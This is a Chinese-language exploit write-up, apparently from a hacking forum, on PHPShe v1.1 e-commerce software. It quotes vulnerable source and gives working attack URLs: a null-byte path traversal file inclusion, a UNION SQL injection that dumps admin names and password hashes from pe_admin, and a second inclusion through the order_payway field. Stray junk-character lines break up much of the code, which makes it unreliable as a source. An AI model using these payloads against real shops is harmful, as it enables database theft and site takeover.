phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
6 e' ?1 m0 w( Q: z0×00 整体大概参数传输



//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
5 `' k! N3 L5 V1 Z- s5 Y}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
& I( V, K" G5 p; R5 z, l!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
. J: j( ]) @) [: p( }}
session_start();
/ c( C4 Q; }: W% _! C  j) B!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
1 @' \8 w2 Y  C& L1 ?8 a. T) I
- V+ z: B4 h, C  H. W: ^0×01 包含漏洞

1 a, ]. c+ m1 r. L% ~
5 s7 r( }5 r0 ?5 ~/ o+ Z; l  K. e3 m//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
+ d# }+ X* x0 a5 @9 Q7 h" Uinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
) q! g5 p" T3 K" C//common 文件 第15行开始
* b6 I/ F/ H6 N" K( a$ q3 vurl路由配置
, w+ \: W" e2 A* g# ~6 N: q$module = $mod = $act = 'index';
8 S6 d* u4 |8 g# Y; m) A$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
/ o' X! ]) U) A" C  g

0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
& e, T1 t( `  r7 g% P8 |$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
8 {8 _. h7 j  G' F//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
( I: r5 }/ g; l: uwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
- c" e" @( E* t7 `! c1 I7 ]4 N}
" K0 {& s/ O- P' s& v$ D$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
( `. y+ q/ [, s. |+ n1 zif ($_g_orderby) {
, z4 N! D' L) j3 h8 Y  V$orderby = explode('_', $_g_orderby);
, B1 Y$ K2 p6 ?' ?7 g. `& g$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
* W) V( ~; c. }+ [( z" O7 L1 l}
else {
$sqlwhere .= " order by `product_id` desc";
) @" w+ B9 ]9 t& k$ h2 W& k}
8 x; L$ F+ E* D* i$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$ B3 k* s$ H  d+ {$product_hotlist = product_hotlist();
//当前路径
4 A) G4 G0 v% ^) k  T4 L$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
; b% t6 o  V# |( dinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
5 S* A7 X3 Y6 ?& b9 l, j//处理条件语句
$sqlwhere = $this->_dowhere($where);
7 R5 Z( m  u/ I, p. u3 D, I& W- Ireturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
! `3 N" t/ N& s8 Q$ Z5 Q7 lproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
( u' s2 r" H4 D/ y8 O. T2 K

</code>
2 q$ k9 d8 ^, |$ s& y$ n/ y; H
0×03 包含漏洞2

+ d4 q- F" v- c9 B& x  {<code id="code3">

//order.php

case 'pay':

% [- V0 k9 a6 [$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

3 ?/ X9 Z% J  l, `, X+ Cforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

; O9 @0 o0 z" }( zif ($k == 'bank') {

( Y  L$ l5 w* |$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

- c% C9 Q' N) Q+ Q. `9 }4 A3 |* v: T- L}

}

6 X1 i) J# s8 p1 F3 L  c$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

9 I: G+ w+ d9 M& R" m% j3 M!$order['order_id'] && pe_error('订单号错误...');

7 |8 N5 ^: O  aif (isset($_p_pesubmit)) {

# b, m6 i7 N% i: E! Jif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

- T& _/ H/ H7 t5 @$ kforeach ($info_list as $v) {

/ f5 v6 r% O& j& D$order['order_name'] .= "{$v['product_name']};";

% `1 T5 M: I$ Z8 l' `}

: h+ D/ ~& j  i- P4 S& oecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

" W2 g# Y4 t3 z) {( T}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

% h7 a; v% k0 |9 |! X& m}

}

$seo = pe_seo('选择支付方式');

  N, O  |6 J8 `; V& v# a% n% ^% |3 Ginclude(pe_tpl('order_pay.html'));

9 S# H5 \3 ~3 A1 A2 _break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
# U! |8 h  K3 G# ]& L' \. yhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg